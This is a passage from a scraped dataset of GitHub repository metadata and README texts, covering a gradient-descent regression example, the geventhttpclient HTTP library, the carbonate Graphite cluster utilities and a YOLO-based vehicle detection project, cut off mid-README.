\u8bad\u7ec3\n\u539f\u59cb\u6570\u636e\u548c\u8bad\u7ec3\u4ee3\u7801\u5728`train`\u76ee\u5f55\u4e0b\u3002\u6570\u636e\u6765\u81ea[jpinyin](https://github.com/stuxuhai/jpinyin)\u3001[pinyin](https://github.com/overtrue/pinyin)\u3001[\u641c\u72d7\u8bed\u6599\u5e93-\u4e92\u8054\u7f51\u8bcd\u5e93](http://www.sogou.com/labs/dl/w.html)\u7b49\u3002\u5904\u7406\u6570\u636e\u65f6\u7528\u5230\u4e86\u6c49\u5b57\u8f6c\u62fc\u97f3\n\u5de5\u5177[ChineseTone](https://github.com/letiantian/ChineseTone)\u3002\n\n## \u539f\u7406\n[\u5982\u4f55\u5b9e\u73b0\u62fc\u97f3\u4e0e\u6c49\u5b57\u7684\u4e92\u76f8\u8f6c\u6362](https://www.letianbiji.com/machine-learning/2016-02-08-pinyin-hanzi.html)\n\n## License\nMIT\n\n\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "mattnedrich/GradientDescentExample", "link": "https://github.com/mattnedrich/GradientDescentExample", "tags": [], "stars": 512, "description": "Example demonstrating how gradient descent may be used to solve a linear regression problem", "lang": "Python", "repo_lang": "", "readme": "## Gradient Descent Example for Linear Regression\nThis example project demonstrates how the [gradient descent](http://en.wikipedia.org/wiki/Gradient_descent) algorithm may be used to solve a [linear regression](http://en.wikipedia.org/wiki/Linear_regression) problem. A more detailed description of this example can be found [here](https://spin.atomicobject.com/2014/06/24/gradient-descent-linear-regression/).\n\n### Code Requirements\nThe example code is in Python ([version 2.6](https://www.python.org/doc/versions/) or higher will work). The only other requirement is [NumPy](http://www.numpy.org/).\n\n### Description\nThis code demonstrates how a gradient descent search may be used to solve the linear regression problem of fitting a line to a set of points. In this problem, we wish to model a set of points using a line. The line model is defined by two parameters - the line's slope `m`, and y-intercept `b`. Gradient descent attemps to find the best values for these parameters, subject to an error function.\n\nThe code contains a main function called `run`. This function defines a set of parameters used in the gradient descent algorithm including an initial guess of the line slope and y-intercept, the learning rate to use, and the number of iterations to run gradient descent for. \n\n```python\ninitial_b = 0 # initial y-intercept guess\ninitial_m = 0 # initial slope guess\nnum_iterations = 1000\n``` \n\nUsing these parameters a gradient descent search is executed on a sample data set of 100 ponts. Here is a visualization of the search running for 200 iterations using an initial guess of `m = 0`, `b = 0`, and a learning rate of `0.000005`.\n\n<img src=\"https://github.com/mattnedrich/GradientDescentExample/blob/master/gradient_descent_example.gif\" width=\"580\">\n\n### Execution\nTo run the example, simply run the `gradient_descent_example.py` file using Python\n\n```\npython gradient_descent_example.py\n```\n\nThe output will look like this\n\n```\nStarting gradient descent at b = 0, m = 0, error = 5565.10783448\nRunning...\nAfter 1000 iterations b = 0.0889365199374, m = 1.47774408519, error = 112.614810116\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "geventhttpclient/geventhttpclient", "link": "https://github.com/geventhttpclient/geventhttpclient", "tags": [], "stars": 511, "description": "A high performance, concurrent http client library for python with gevent", "lang": "Python", "repo_lang": "", "readme": "# geventhttpclient\n\n[![Build Status](https://travis-ci.org/gwik/geventhttpclient.svg?branch=master)](https://travis-ci.org/gwik/geventhttpclient)\n\nA high performance, concurrent HTTP client library for python using \n[gevent](http://gevent.org).\n\n`gevent.httplib` support was removed in [gevent 1.0](https://github.com/surfly/gevent/commit/b45b83b1bc4de14e3c4859362825044b8e3df7d6\n), **geventhttpclient** now provides that missing functionality.\n\n**geventhttpclient** uses a fast [http parser](https://github.com/nodejs/llhttp),\nwritten in C.\n\n**geventhttpclient** has been specifically designed for high concurrency,\nstreaming and support HTTP 1.1 persistent connections. More generally it is\ndesigned for efficiently pulling from REST APIs and streaming APIs\nlike Twitter's.\n\nSafe SSL support is provided by default. **geventhttpclient** depends on\nthe certifi CA Bundle. This is the same CA Bundle which ships with the\nRequests codebase, and is derived from Mozilla Firefox's canonical set.\n\nAs of version 1.5, only Python 3.6+ is fully supported (with prebuilt wheels), \nbut Python 2.7 and 3.5 *should* work too.\n\nUse of SSL/TLS with python 2.7.9 is not recommended and may be broken.\n\nA simple example:\n\n```python\n#!/usr/bin/python\n\nfrom geventhttpclient import HTTPClient\nfrom geventhttpclient.url import URL\n\nurl = URL('http://gevent.org/')\n\nhttp = HTTPClient(url.host)\n\n# issue a get request\nresponse = http.get(url.request_uri)\n\n# read status_code\nresponse.status_code\n\n# read response body\nbody = response.read()\n\n# close connections\nhttp.close()\n```\n\n## httplib compatibility and monkey patch\n\n**geventhttpclient.httplib** module contains classes for drop in\nreplacement of httplib connection and response objects.\nIf you use httplib directly you can replace the **httplib** imports\nby **geventhttpclient.httplib**.\n\n```python\n# from httplib import HTTPConnection\nfrom geventhttpclient.httplib import HTTPConnection\n```\n\nIf you use **httplib2**, **urllib** or **urllib2**; you can patch **httplib** to\nuse the wrappers from **geventhttpclient**.\nFor **httplib2**, make sure you patch before you import or the *super*\ncalls will fail.\n\n```python\nimport geventhttpclient.httplib\ngeventhttpclient.httplib.patch()\n\nimport httplib2\n```\n\n## High Concurrency\n\nHTTPClient has connection pool built in and is greenlet safe by design.\nYou can use the same instance among several greenlets.\n\n```python\n#!/usr/bin/env python\n\nimport gevent.pool\nimport json\n\nfrom geventhttpclient import HTTPClient\nfrom geventhttpclient.url import URL\n\n\n# go to http://developers.facebook.com/tools/explorer and copy the access token\nTOKEN = '<go to http://developers.facebook.com/tools/explorer and copy the access token>'\n\nurl = URL('https://graph.facebook.com/me/friends')\nurl['access_token'] = TOKEN\n\n# setting the concurrency to 10 allow to create 10 connections and\n# reuse them.\nhttp = HTTPClient.from_url(url, concurrency=10)\n\nresponse = http.get(url.request_uri)\nassert response.status_code == 200\n\n# response comply to the read protocol. It passes the stream to\n# the json parser as it's being read.\ndata = json.load(response)['data']\n\ndef print_friend_username(http, friend_id):\n    friend_url = URL('/' + str(friend_id))\n    friend_url['access_token'] = TOKEN\n    # the greenlet will block until a connection is available\n    response = http.get(friend_url.request_uri)\n    assert response.status_code == 200\n    friend = json.load(response)\n    if friend.has_key('username'):\n        print '%s: %s' % (friend['username'], friend['name'])\n    else:\n        print '%s has no username.' % friend['name']\n\n# allow to run 20 greenlet at a time, this is more than concurrency\n# of the http client but isn't a problem since the client has its own\n# connection pool.\npool = gevent.pool.Pool(20)\nfor item in data:\n    friend_id = item['id']\n    pool.spawn(print_friend_username, http, friend_id)\n\npool.join()\nhttp.close()\n```\n\n## Streaming\n\n**geventhttpclient** supports streaming.\nResponse objects have a read(N) and readline() method that read the stream\nincrementally.\nSee *src/examples/twitter_streaming.py* for pulling twitter stream API.\n\nHere is an example on how to download a big file chunk by chunk to save memory:\n\n```python\n#!/usr/bin/env python\n\nfrom geventhttpclient import HTTPClient, URL\n\nurl = URL('http://127.0.0.1:80/100.dat')\nhttp = HTTPClient.from_url(url)\nresponse = http.get(url.query_string)\nassert response.status_code == 200\n\nCHUNK_SIZE = 1024 * 16 # 16KB\nwith open('/tmp/100.dat', 'w') as f:\n    data = response.read(CHUNK_SIZE)\n    while data:\n        f.write(data)\n        data = response.read(CHUNK_SIZE)\n```\n\n## Benchmarks\n\nThe benchmark does 1000 get requests against a local nginx server with\na concurrency of 10. See *benchmarks* folder.\n\n- httplib2 with geventhttpclient monkey patch (*benchmarks/httplib2_patched.py*): **~2500 req/s**\n- geventhttpclient.HTTPClient (*benchmarks/httpclient.py*): **~4000 req/s**\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "graphite-project/carbonate", "link": "https://github.com/graphite-project/carbonate", "tags": ["carbonate", "graphite-clusters", "graphite", "python"], "stars": 511, "description": "Utilities for managing graphite clusters", "lang": "Python", "repo_lang": "", "readme": "# Carbonate\n\n> \"Pop bottles.\" *-- Birdman*\n\n[![Codacy Badge](https://api.codacy.com/project/badge/Grade/99e1654102b74d82a63505145334e7ed)](https://www.codacy.com/app/graphite-project/carbonate?utm_source=github.com&utm_medium=referral&utm_content=graphite-project/carbonate&utm_campaign=badger)\n[![Build Status](https://travis-ci.org/graphite-project/carbonate.svg?branch=master)](https://travis-ci.org/graphite-project/carbonate)\n[![FOSSA Status](https://app.fossa.io/api/projects/git%2Bhttps%3A%2F%2Fgithub.com%2Fgraphite-project%2Fcarbonate.svg?type=shield)](https://app.fossa.io/projects/git%2Bhttps%3A%2F%2Fgithub.com%2Fgraphite-project%2Fcarbonate?ref=badge_shield)\n[![codecov](https://codecov.io/gh/graphite-project/carbonate/branch/master/graph/badge.svg)](https://codecov.io/gh/graphite-project/carbonate)\n\nGraphite clusters are pretty cool. Here are some primitive tools to help you manage your graphite clusters.\n\nAll of the tools support two common arguments; the path to a config file, and the name of the cluster. Using these tools alongside a config file that describes your graphite clusters you can build up scripts to manage your metrics. Some of the tools could easily be replaced with one-liners in shell, but exist here for convenience and readability. The goal is to provide fast, predictable utilities that can easily be composed into more advanced tooling.\n\n## Install\n[Carbonate is available from Python official third party repository](https://pypi.python.org/pypi/carbonate/0.2.1) (aka PyPi) and as such can be installed via regular Python package managers.\nNote that you might have to install a python package manager (e.g. apt-get install python-setuptools on a ubuntu host)\n\n```\npip install carbonate\n```\n## The Config\n\nCarbonate expects a configuration file that defines the clusters in your environment. The default config file is located at `/opt/graphite/conf/carbonate.conf` or can be provided on the command line. The default cluster is named 'main'. Both defaults can be overridden by setting in the environment `CARBONATE_CONFIG` and `CARBONATE_CLUSTER` respectively.\n\n```\n[main]\nDESTINATIONS = 192.168.9.13:2004:carbon01, 192.168.9.15:2004:carbon02, 192.168.6.20:2004:carbon03\nREPLICATION_FACTOR = 2\nSSH_USER = carbon\n\n[agg]\nDESTINATIONS = 192.168.9.13:2004:carbon01, 192.168.9.15:2004:carbon02, 192.168.6.20:2004:carbon03\nRELAY_METHOD = aggregated-consistent-hashing\nREPLICATION_FACTOR = 2\nSSH_USER = carbon\n\n[fnv]\nDESTINATIONS = 192.168.9.13:2004:ba603c36342304ed77953f84ac4d357b, 192.168.9.15:2004:5dd63865534f84899c6e5594dba6749a, 192.168.6.20:2004:866a18b81f2dc4649517a1df13e26f28\nREPLICATION_FACTOR = 2\nSSH_USER = carbonate\nHASHING_TYPE = fnv1a_ch\n```\n\nYou should take care to match the list of destination IPs or hostnames to the nodes in your cluster (i.e. it should match with routing configuretion of your carbon relay). Order is important because of how the consistent hash ring is created.\n\nYou can configure the relay method to be one of \"consistent-hashing\" or \"aggregated-consistent-hashing\". If omitted, \"consistent-hashing\" is used by default. Use of \"aggregated-consistent-hashing\" usually requires a rules file to be provided to relevant commands.\n\nThe replication factor should match the replication factor for the cluster.\n\nAlso, you can choose to provide a SSH user that will be used when carbonate requires connecting to another node in the cluster to perform an operation. If this is not provided, then the current user executing the command will be chosen.\n\nFinally, you can provide HASHING_TYPE of your cluster. Default is `carbon_ch`, also `fnv1a_ch` is supported. Please note that for using `fnv1a_ch` hashing you need `carbon` 1.0.2 or newer installed (or you need to use [carbon-c-relay](https://github.com/grobian/carbon-c-relay) relay instead).\n\n## The Tools\n\n### carbon-hosts\n\n```\nusage: carbon-hosts [-h] [-c CONFIG_FILE] [-C CLUSTER]\n\nReturn the addresses for all nodes in a cluster\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c CONFIG_FILE, --config-file CONFIG_FILE\n                        Config file to use (default:\n                        /opt/graphite/conf/carbonate.conf)\n  -C CLUSTER, --cluster CLUSTER\n                        Cluster name (default: main)\n```\n\n### carbon-lookup\n\n```\nusage: carbon-lookup [-h] [-c CONFIG_FILE] [-C CLUSTER] [-s] METRIC\n\nLookup where a metric lives in a carbon cluster\n\npositional arguments:\n  METRIC                Full metric name to search for\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c CONFIG_FILE, --config-file CONFIG_FILE\n                        Config file to use (default:\n                        /opt/graphite/conf/carbonate.conf)\n  -C CLUSTER, --cluster CLUSTER\n                        Cluster name (default: main)\n  -a AGGREGATION_RULES, --aggregation-rules AGGREGATION_RULES\n                        File containing rules used in conjunction with the\n                        \"aggregated-consistent-hashing\" relay method (default:\n                        /opt/graphite/conf/aggregation-rules.conf)\n  -s, --short           Only display the address, without port and cluster\n                        name (default: False)\n```\n\n### carbon-list\n\n```\nusage: carbon-list [-h] [-c CONFIG_FILE] [-C CLUSTER] [-d STORAGE_DIR]\n\nList the metrics this carbon node contains\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c CONFIG_FILE, --config-file CONFIG_FILE\n                        Config file to use (default:\n                        /opt/graphite/conf/carbonate.conf)\n  -C CLUSTER, --cluster CLUSTER\n                        Cluster name (default: main)\n  -d STORAGE_DIR, --storage-dir STORAGE_DIR\n                        Storage dir (default: /opt/graphite/storage/whisper)\n```\n\n### carbon-sieve\n\n```\nusage: carbon-sieve [-h] [-c CONFIG_FILE] [-C CLUSTER] [-f METRICS_FILE]\n                    [-n NODE] [-I]\n\nGiven a list of metrics, output those that belong to a node\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c CONFIG_FILE, --config-file CONFIG_FILE\n                        Config file to use (default:\n                        /opt/graphite/conf/carbonate.conf)\n  -C CLUSTER, --cluster CLUSTER\n                        Cluster name (default: main)\n  -a AGGREGATION_RULES, --aggregation-rules AGGREGATION_RULES\n                        File containing rules used in conjunction with the\n                        \"aggregated-consistent-hashing\" relay method (default:\n                        /opt/graphite/conf/aggregation-rules.conf)\n  -f METRICS_FILE, --metrics-file METRICS_FILE\n                        File containing metric names to filter, or '-' to read\n                        from STDIN (default: -)\n  -n NODE, --node NODE  Filter for metrics belonging to this node (default:\n                        self)\n  -I, --invert          Invert the sieve, match metrics that do NOT belong to\n                        a node (default: False)\n```\n\n### carbon-sync\n\n```\nusage: carbon-sync [-h] [-c CONFIG_FILE] [-C CLUSTER] [-f METRICS_FILE] -s\n                   SOURCE_NODE [-d STORAGE_DIR] [-b BATCH_SIZE]\n                   [--source-storage-dir SOURCE_STORAGE_DIR]\n                   [--rsync-options RSYNC_OPTIONS] [--rsync-disable-copy-dest]\n                   [--tmpdir TMP_STAGING_DIR] [--rsync-max-retries MAX_RETRIES]\n                   [--rsync-retries-interval SECONDS] [--dirty] [-l] [-o]\n\nSync local metrics using remote nodes in the cluster\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c CONFIG_FILE, --config-file CONFIG_FILE\n                        Config file to use (env: CARBONATE_CONFIG) (default:\n                        /opt/graphite/conf/carbonate.conf)\n  -C CLUSTER, --cluster CLUSTER\n                        Cluster name (env: CARBONATE_CLUSTER) (default: main)\n  -f METRICS_FILE, --metrics-file METRICS_FILE\n                        File containing metric names to filter, or '-' to read\n                        from STDIN (default: -)\n  -s SOURCE_NODE, --source-node SOURCE_NODE\n                        Override the source for metrics data (default: None)\n  -d STORAGE_DIR, --storage-dir STORAGE_DIR\n                        Storage dir (default: /opt/graphite/storage/whisper)\n  -b BATCH_SIZE, --batch-size BATCH_SIZE\n                        Batch size for the rsync job (default: 1000)\n  --source-storage-dir SOURCE_STORAGE_DIR\n                        Source storage dir (default:\n                        /opt/graphite/storage/whisper)\n  --rsync-options RSYNC_OPTIONS\n                        Pass option(s) to rsync. Make sure to use \"--rsync-\n                        options=\" if option starts with '-' (default: -azpS)\n  --rsync-disable-copy-dest\n                        Avoid --copy-dest, transfer all whisper data between\n                        nodes. (default: False)\n  --rsync-max-retries RETRIES\n                        Number of times rsync will attempt to copy each batch\n                        of metrics before moving on. If all retry attempts are\n                        unsuccessful, carbon-sync will write a file containing\n                        the name of each metric in the failed batch so they can\n                        be easily retried at a later time. (Default: 3)\n  --rsync-retries-interval SECONDS\n                        How long to wait in between each rsync retry attempt\n                        (see --rsync-max-retries). (default: 5)\n  -t TMP_STAGING_DIR, --tmpdir TMP_STAGING_DIR\n                        Specify an alternate location in which the temporary\n                        rsync staging dirs will be created. This can be useful\n                        for large syncs where the default location (as chosen\n                        by mkdtemp) resides on a filesystem that's too small\n                        to store all the metrics being copied from the remote\n                        host.\n  --dirty               If set, don't clean temporary rsync directory\n                        (default: False)\n  -l, --lock            Lock whisper files during filling (default: False)\n  -o, --overwrite       Write all non nullpoints from src to dst (default:\n                        False)\n```\n\n### carbon-path\n\n```\nusage: carbon-path [-h] [-c CONFIG_FILE] [-C CLUSTER] [-f METRICS_FILE] [-r]\n                   [-p] [-d STORAGE_DIR]\n\nTransform metric paths to (or from) filesystem paths\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c CONFIG_FILE, --config-file CONFIG_FILE\n                        Config file to use (default:\n                        /opt/graphite/conf/carbonate.conf)\n  -C CLUSTER, --cluster CLUSTER\n                        Cluster name (default: main)\n  -f METRICS_FILE, --metrics-file METRICS_FILE\n                        File containing metric names to transform to file\n                        paths, or '-' to read from STDIN (default: -)\n  -r, --reverse         Transform from file paths to metric paths (default:\n                        False)\n  -p, --prepend         Prepend storage dir to file paths (default: False)\n  -d STORAGE_DIR, --storage-dir STORAGE_DIR\n                        Whisper storage directory to prepend when -p given\n                        (default: /opt/graphite/storage/whisper)\n```\n\n### carbon-stale\n\n```\nusage: carbon-stale [-h] [-c CONFIG_FILE] [-C CLUSTER] [-f METRICS_FILE] [-r]\n                    [-d STORAGE_DIR] [-l HOURS] [-o HOURS] [-w] [-p]\n\nFind and list potentially stale metrics.\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -c CONFIG_FILE, --config-file CONFIG_FILE\n                        Config file to use (default:\n                        /opt/graphite/conf/carbonate.conf)\n  -C CLUSTER, --cluster CLUSTER\n                        Cluster name (default: main)\n  -f METRICS_FILE, --metrics-file METRICS_FILE\n                        File containing metric names to transform to file\n                        paths, or '-' to read from STDIN (default: -)\n  -r, --reverse         Output metrics which are not stale instead (default:\n                        False)\n  -d STORAGE_DIR, --storage-dir STORAGE_DIR\n                        Whisper storage directory to prepend when -p given\n                        (default: /opt/graphite/storage/whisper)\n  -l HOURS, --limit HOURS\n                        Definition of staleness, in hours (default: 24)\n  -o HOURS, --offset HOURS\n                        Use a whisper data window ending HOURS ago (implies\n                        -w) (default: 0)\n  -w, --whisper         Use whisper data instead of filesystem stat() call\n                        (default: False)\n  -p, --paths           Print filesystem paths instead of metric names\n                        (default: False)\n```\n\n### whisper-aggregate\n\n```\nusage: whisper-aggregate [-h] [-f METRICS_FILE] [-d STORAGE_DIR]\n\nSet aggregation for whisper-backed metrics this carbon instance contains\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -f METRICS_FILE, --metrics-file METRICS_FILE\n                        File containing metric names and aggregation modes, or\n                        '-' to read from STDIN (default: -)\n  -d STORAGE_DIR, --storage-dir STORAGE_DIR\n                        Whisper storage directory (default:\n                        /opt/graphite/storage/whisper)\n```\n\n### whisper-fill\n\n```\nusage: whisper-fill [-h] [-l] [-o] SRC DST\n\nBackfill datapoints from one whisper file into another\n\npositional arguments:\n  SRC             Whisper source file\n  DST             Whisper destination file\n\noptional arguments:\n  -h, --help      show this help message and exit\n  -l, --lock      Lock whisper files during filling (default: False)\n  -o, --overwrite  Write all non nullpoints from src to dst (default: False)\n```\n\n## Example usage\n\n### Resync a node in a cluster\n\n```\n#!/bin/sh\n#\n# Resync a node from other nodes in the cluster\n#\n\nLOCAL_IP=\"$1\"\n\nfor h in $(carbon-hosts) ; do\n  (\n    ssh $h -- carbon-list |\n    carbon-sieve -n $LOCAL_IP |\n    carbon-sync -s $h\n  ) &\ndone\n```\n\n### Rebalance a cluster\n\n```\n#!/bin/sh\n#\n# Rebalance a cluster from one size to another. Remember to cleanup metrics\n# that no longer belong when all nodes are rebalanced!\n#\n\nLOCAL_IP=\"$1\"\nOLD_CLUSTER=\"old\"\nNEW_CLUSTER=\"main\"\n\nfor h in $(carbon-hosts -C \"$OLD_CLUSTER\") ; do\n  ssh $h -- carbon-list |\n  carbon-sieve -C \"$NEW_CLUSTER\" -n $LOCAL_IP |\n  carbon-sync -s $h\ndone\n```\n\n### List metrics that don't belong\n\n```\n#!/bin/sh\n#\n# List metrics from disk that don't belong\n#\n\nLOCAL_IP=\"$1\"\n\ncarbon-list | carbon-sieve -I -n $LOCAL_IP\n```\n\n### Listing metrics that have stopped updating\n\nMetrics with whisper data that is entirely blank for the last 2 hours (perhaps\nuseful if you suspect issues with fs timestamps or carbon clients writing in 'the\nfuture'):\n\n```\ncarbon-list | carbon-stale --whisper --limit=2\n```\n\nMetrics whose metrics files appear untouched for 48 hours or more (functionally\nidentical to `find /your/data/dir -type f -mtime +2`):\n\n```\ncarbon-list | carbon-stale --limit=48\n```\n\nMore interesting is if you use ``carbon-stale``, then sieve to identify stale\nmetrics that don't belong here (vs un-stale metrics that *do* belong here but\nare misreported in carbon-sieve due to things like doubled-up periods in metric\npaths due to broken collectors. It's a thing.)\n\n```\ncarbon-list | carbon-stale --limit=48 | carbon-sieve -I -n $LOCAL_IP\n```\n\nTo print file paths for use with e.g. `xargs rm` or whatnot, use `-p`:\n\n```\ncarbon-list | carbon-stale -p | xargs -n 100 rm\n```\n\n\n# License\n\nThe code is available under the MIT license.\n\n\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "CaptainEven/Vehicle-Car-detection-and-multilabel-classification", "link": "https://github.com/CaptainEven/Vehicle-Car-detection-and-multilabel-classification", "tags": [], "stars": 511, "description": "\u4f7f\u7528YOLO_v3_tiny\u548cB-CNN\u5b9e\u73b0\u8857\u5934\u8f66\u8f86\u7684\u68c0\u6d4b\u548c\u8f66\u8f86\u5c5e\u6027\u7684\u591a\u6807\u7b7e\u8bc6\u522b Using yolo_v3_tiny to do vehicle or car detection and attribute's multilabel classification or recognize", "lang": "Python", "repo_lang": "", "readme": "# Vehicle-Car-detection-and-multilabel-classification \u8f66\u8f86\u68c0\u6d4b\u548c\u591a\u6807\u7b7e\u5c5e\u6027\u8bc6\u522b\n## \u4e00\u4e2a\u57fa\u4e8ePytorch\u7cbe\u7b80\u7684\u6846\u67b6\uff0c\u4f7f\u7528YOLO_v3_tiny\u548cB-CNN\u5b9e\u73b0\u8857\u5934\u8f66\u8f86\u7684\u68c0\u6d4b\u548c\u8f66\u8f86\u5c5e\u6027\u7684\u591a\u6807\u7b7e\u8bc6\u522b\u3002 </br> (A precise pytorch based framework for using yolo_v3_tiny to do vehicle or car detection and attribute's multilabel classification or recognize)\n\n## \u6548\u679c\u5982\u4e0b: Vehicle detection and recognition results are as follows\uff1a </br>\n![](https://github.com/CaptainEven/Vehicle-Car-detection-and-multilabel-classification/blob/master/test_result/test_5.jpg)\n![](https://github.com/CaptainEven/Vehicle-Car-detection-and-multilabel-classification/blob/master/test_result/test_17.jpg)\n</br>\n\n## \u4f7f\u7528\u65b9\u6cd5 Usage\npython Vehicle_DC -src_dir your_imgs_dir -dst_dir your_result_dir\n\n## \u8bad\u7ec3\u597d\u7684\u6a21\u578b\u6587\u4ef6(\u5305\u62ec\u8f66\u8f86\u68c0\u6d4b\u6a21\u578b\u548c\u591a\u6807\u7b7e\u5206\u7c7b\u6a21\u578b) trained models on baidu drive\n[Tranied models-vehicle detection](https://pan.baidu.com/s/1HwTCVGTmdqkeLnqnxfNL8Q) </br>\n[Tranied models-vehicle classification](https://pan.baidu.com/s/1XmzjvCgOrrVv0NWTt4Fm3g) </br>\n\u5728\u8fd0\u884cVehicle_DC\u811a\u672c\u4e4b\u524d\uff0c\u5148\u4e0b\u8f7d\u4e0a\u9762\u7684\u6a21\u578b\u6587\u4ef6\u6216\u8005\u4f7f\u7528\u81ea\u5df1\u9884\u5148\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u6587\u4ef6\uff0c\u5c06car_540000.weights\uff08\u7528\u4e8e\u68c0\u6d4b\uff09\u653e\u5728\u9879\u76ee\u6839\u76ee\u5f55\uff0c\u5c06epoch_39.pth\uff08\u7528\u4e8e\u591a\u6807\u7b7e\u8bc6\u522b\uff09\u653e\u5728\u6839\u76ee\u5f55\u4e0b\u7684checkpoints\u76ee\u5f55\u4e0b\uff0c\u5373\u53ef\u4f7f\u7528Vehicle_DC\u8fd0\u884c\u3002</br> \nBefore running Vehicle_DC, you should download provided model files provided above or use your own pretrained models. If using models provided, you need to place car_540000.weights on root directory of this project, and place epoch_39.pth on root/checkpoints/.\n\n### \u7a0b\u5e8f\u7b80\u4ecb brief introductions\n#### (1). \u7a0b\u5e8f\u5305\u542b\u4e24\u5927\u6a21\u5757: </br> The program consists of two parts: first, car detection(only provides model loading and inference code, if you need training code, you can refer to [pytorch_yolo_v3](https://github.com/eriklindernoren/PyTorch-YOLOv3#train)); the car attributes classiyfing(provide both training and testing code, it will predict a vehicle's body color, body direction and car type)\n##### <1>. \u8f66\u8f86\u68c0\u6d4b\u6a21\u5757\uff1a \u53ea\u63d0\u4f9b\u68c0\u6d4b, \u8bad\u7ec3\u4ee3\u7801\u53ef\u4ee5\u53c2\u8003[pytorch_yolo_v3](https://github.com/eriklindernoren/PyTorch-YOLOv3#train); </br>\n##### <2>. \u591a\u6807\u7b7e\u8bc6\u522b\u6a21\u5757\uff1a\u5305\u542b\u8f66\u8f86\u989c\u8272\u3001\u8f66\u8f86\u671d\u5411\u3001\u8f66\u8f86\u7c7b\u578b\n\u5c06\u8fd9\u4e24\u4e2a\u6a21\u5757\u7ed3\u5408\u5728\u4e00\u8d77\uff0c\u53ef\u4ee5\u540c\u65f6\u5b9e\u73b0\u8f66\u8f86\u7684\u68c0\u6d4b\u548c\u8bc6\u522b\u3002\u4ee5\u6b64\u4e3a\u57fa\u7840\uff0c\u53ef\u4ee5\u5bf9\u5ba4\u5916\u667a\u80fd\u4ea4\u901a\u4fe1\u606f\uff0c\u8fdb\u884c\u4e00\u5b9a\u7a0b\u5ea6\u7684\u7ed3\u6784\u5316\u4fe1\u606f\u63d0\u53d6\u3002 </br>\nCombining these two modules together, you can do vehicle detection and multi-label recognization at the same time. Based on this info, some structured infos in outdoor traffic scenes can be extracted.\n#### (2). \u7a0b\u5e8f\u6a21\u5757\u8be6\u89e3 modules detailed introduction </br>\n##### <1>. VehicleDC.py </br>\n\u6b64\u6a21\u5757\u662f\u8f66\u8f86\u68c0\u6d4b\u548c\u8f66\u8f86\u591a\u6807\u7b7e\u8bc6\u522b\u63a5\u53e3\u7684\u5c01\u88c5\uff0c\u9700\u8981\u6307\u5b9a\u6d4b\u8bd5\u6e90\u76ee\u5f55\u548c\u7ed3\u679c\u8f93\u51fa\u76ee\u5f55\u3002\u4e3b\u7c7bCar_DC, \u51fd\u6570__init__\u4e3b\u8981\u8d1f\u8d23\u6c7d\u8f66\u68c0\u6d4b\u3001\u6c7d\u8f66\u8bc6\u522b\u4e24\u4e2a\u6a21\u578b\u7684\u521d\u59cb\u5316\u3002\n\u51fd\u6570detect_classify\u8d1f\u8d23\u9010\u5f20\u5bf9\u56fe\u50cf\u8fdb\u884c\u68c0\u6d4b\u548c\u8bc6\u522b\uff1a\u9996\u5148\u5bf9\u8f93\u5165\u56fe\u50cf\u8fdb\u884c\u9884\u5904\u7406\uff0c\u7edf\u4e00\u8f93\u5165\u683c\u5f0f\uff0c\u7136\u540e\uff0c\u8f93\u51fa\u8be5\u56fe\u50cf\u6240\u6709\u7684\u8f66\u7684\u68c0\u6d4b\u6846\u3002\u901a\u8fc7\u51fd\u6570process_predict\u505anms, \u5750\u6807\u7cfb\u8f6c\u6362\uff0c\u5f97\u5230\u6240\u6709\u6700\u7ec8\u7684\u68c0\u6d4b\u6846\u3002\u7136\u540e\uff0c\u7a0b\u5e8f\u8c03\u7528\u51fd\u6570cls_draw_bbox\uff0c\u5728cls_draw_bbox\u4e2d\uff0c\u9010\u4e00\u5904\u7406\u6bcf\u4e2a\u68c0\u6d4b\u6846\u3002\u9996\u5148\uff0c\u53d6\u51fa\u539f\u56fe\u50cf\u68c0\u6d4b\u6846\u533a\u57df\u68c0\u6d4b\u6846\u5bf9\u5e94\u7684\u7684ROI(region of interest)\uff0c \u5c06ROI\u9001\u5165\u8f66\u8f86\u591a\u6807\u7b7e\u5206\u7c7b\u5668\u3002\u5206\u7c7b\u5668\u8c03\u7528B-CNN\u7b97\u6cd5\u5bf9ROI\u4e2d\u7684\u8f66\u8f86\u8fdb\u884c\u591a\u6807\u7b7e\u5c5e\u6027\u5206\u7c7b\u3002\u53c2\u8003[paper link](http://vis-www.cs.umass.edu/bcnn/docs/bcnn_iccv15.pdf)\u3002B-CNN\u4e3b\u8981\u7528\u4e8e\u8bad\u7ec3\u7aef\u5230\u7aef\u7684\u7ec6\u7c92\u5ea6\u5206\u7c7b\u3002\u672c\u7a0b\u5e8f\u5bf9\u8bba\u6587\u4e2d\u7684\u7f51\u7edc\u7ed3\u6784\u505a\u4e86\u4e00\u5b9a\u7684\u9002\u5e94\u6027\u4fee\u6539\uff1a\u4e3a\u4e86\u517c\u987e\u7a0b\u5e8f\u7684\u63a8\u65ad\u901f\u5ea6\u548c\u51c6\u786e\u5ea6\uff0c\u4e0d\u540c\u4e8e\u8bba\u6587\u4e2d\u91c7\u7528\u7684Vgg-16\uff0c\u8fd9\u91cc\u7684B-CNN\u7684\u57fa\u7840\u7f51\u7edc\u91c7\u7528Resnet-18\u3002</br>\nThis module is responsible for interface encapsulation of vehicle detection and multi-label classification. You need to specify source directory and result directory. The main class is Car_DC. The pretrained models are loaded and initiated in function init(). In function detect_classify, each input image is pre-processed to get uniformed format, then output the raw bounding boxes for further NMS calculation and coordinates tranformation. We do classification and bounding box drawing in function cls_draw_box based on bounding box ROIs. Bilinear CNN is used for fine-grained classification, and we use resnet-18 as backbone insted of vgg-16 for trade-off of accuracy and speed.\n##### 